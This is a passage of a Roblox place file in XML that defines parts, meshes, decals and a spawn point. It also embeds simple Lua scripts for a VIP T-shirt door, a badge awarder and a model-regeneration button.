										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1091">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-28.5</X>
										<Y>10.8000002</Y>
										<Z>222</Z>
										<R00>-0</R00>
										<R01>-0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-7.70029146e-005</X>
										<Y>-0.00243202643</Y>
										<Z>0.00347486464</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>8</X>
										<Y>1.60000002</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1092">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1093">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1010</int>
									<CoordinateFrame name="CFrame">
										<X>-30</X>
										<Y>11.6000004</Y>
										<Z>222</Z>
										<R00>0</R00>
										<R01>-0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Jaw </string>
									<float name="Reflectance">0.100000001</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0.00103041832</X>
										<Y>0.000177318463</Y>
										<Z>-0.000409811095</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.699999988</float>
									<Vector3 name="Velocity">
										<X>0.000250846031</X>
										<Y>-0.00181730976</Y>
										<Z>0.00456517749</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>0.800000012</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1094">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">3</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>4</X>
											<Y>3.79999995</Y>
											<Z>1.20000005</Z>
										</Vector3>
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					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.200000003</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>19.2000008</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX1205">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">print (&quot;VIP T-Shirt Door Script Loaded&quot;)

-- list of account names allowed to go through the door.
permission = { &quot;&quot; } -- This is how many people can still get through, so u don&apos;t have to change shirts. You can also have another friend here.

-- TextureId of the VIP shirt.
texture = &quot;http://www.roblox.com/asset/?id=47819862&quot; -- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the &quot;&quot; marks.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in 
		-- &quot;Username&quot; but not &quot;username&quot; or &quot;uSERNAME&quot; 
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print(&quot;Door Hit&quot;) 
	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
	if (human ~= nil ) then 
		if human.Parent.Torso.roblox.Texture == texture then --the shirt 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0 
			-- a human has touched this door! 
			print(&quot;Human touched door&quot;) 
			-- test the human&apos;s name against the permission list 
		elseif (checkOkToLetIn(human.Parent.Name)) then 
			print(&quot;Human passed test&quot;) 
			Door.Transparency = 0.7
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open
			Door.CanCollide = true 
			Door.Transparency = 0 
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)

</ProtectedString>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1206">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">5</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=35548424</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1207">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">2</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=35548424</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1208">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-255</X>
					<Y>3.79999995</Y>
					<Z>152</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1209">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-64</X>
					<Y>17</Y>
					<Z>205</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>140</X>
					<Y>20.4000015</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1210">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1211">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-114</X>
						<Y>7.4000001</Y>
						<Z>204</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX1212">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52611821</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1213">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX1214">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52611883</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX1215">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-114</X>
					<Y>7.4000001</Y>
					<Z>196</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">23</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1216">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures/SpawnLocation.png</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Fire" referent="RBX1217">
				<Properties>
					<bool name="Archivable">true</bool>
					<Color3 name="Color">4294946048</Color3>
					<bool name="Enabled">false</bool>
					<string name="Name">Fire</string>
					<Color3 name="SecondaryColor">4294901760</Color3>
					<float name="heat_xml">25</float>
					<float name="size_xml">30</float>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1218">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1219">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-239</X>
						<Y>7</Y>
						<Z>170</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX1220">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX1221">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1222">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX1223">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1224">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Hover</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX1225">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Hover Craft</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Humanoid" referent="RBX1226">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Health">0</float>
							<float name="MaxHealth">0</float>
							<string name="Name">Humanoid</string>
							<float name="WalkSpeed">0</float>
						</Properties>
					</Item>
					<Item class="Model" referent="RBX1227">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Regen</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1228">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">GunBoat</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1229">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Bodykit</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX1230">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>-247.5</X>
										<Y>9.5</Y>
										<Z>160.5</Z>
										<R00>0</R00>
										<R01>1</R01>
										<R02>-0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>1</Y>
										<Z>7</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX1231">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
